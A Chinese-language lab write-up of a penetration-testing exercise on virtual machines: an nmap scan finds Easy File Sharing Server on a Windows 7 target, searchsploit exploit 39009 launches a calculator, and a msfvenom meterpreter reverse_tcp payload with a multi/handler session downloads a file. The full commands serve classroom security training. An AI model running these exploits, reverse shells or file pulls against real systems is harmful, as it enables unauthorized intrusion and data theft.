一、漏洞渗透测试
1、靶机(Windows)安装easy file sharing server(efssetup_2018.zip),该服务存在漏洞。
2、利用Nmap扫描发现靶机(Windows)运行了该服务。P99-100
3、利用该漏洞,使得靶机运行计算器。P116-119
在VM上打开靶机windows7和kali,在win7安装好easy file sharing 并打开。
kali上输入ifconfig查看kali的ip 为192.168.10.129
输入sudo su进入root模式使用nmap 192.168.10.129/24扫描同一子网下的主机
扫描发现 靶机ip:192.168.10.128
输入命令 nmap -sV -o easy-file.txt 192.168.10.128将扫描靶机上服务的版本记录在easy-file.txt文件里。
可以知道靶机正在运行该服务
随后使用命令searchsploit easy file sharing
该命令可以搜索到标题和路径中包含“easy file sharing”的所有内容
选用39009的脚本searchsploit -m 39009
输入命令 python2 (+上图path) 192.168.10.128(靶机ip) 8000(easy file sharing的端口)
Done表示完成 回到win7 发现计算器已打开。
二、Metasploit应用
1、生成主控端、被控端。
2、获得靶机(Windows)控制权。
3、下载靶机上任意一个文件。
在kali输入命令msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.129 lport=5000 -f exe -o /var/payload.exe
在var目录下生成payload.exe文件并复制到靶机上
随后输入命令msfconsole启动meterpreter
在启动成功后按序输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.129
set lport 5000
回到靶机运行之前复制到靶机上的payload.exe文件
再输入命令Exploit
连接成功
使用命令ls 查看当前目录下的文件
输入download haha.txt(要下载的文件名) C:\Users\Administrator\Desktop(文件路径)
下载完成,去保存目录打开文件查看与靶机上内容相同,复现成功。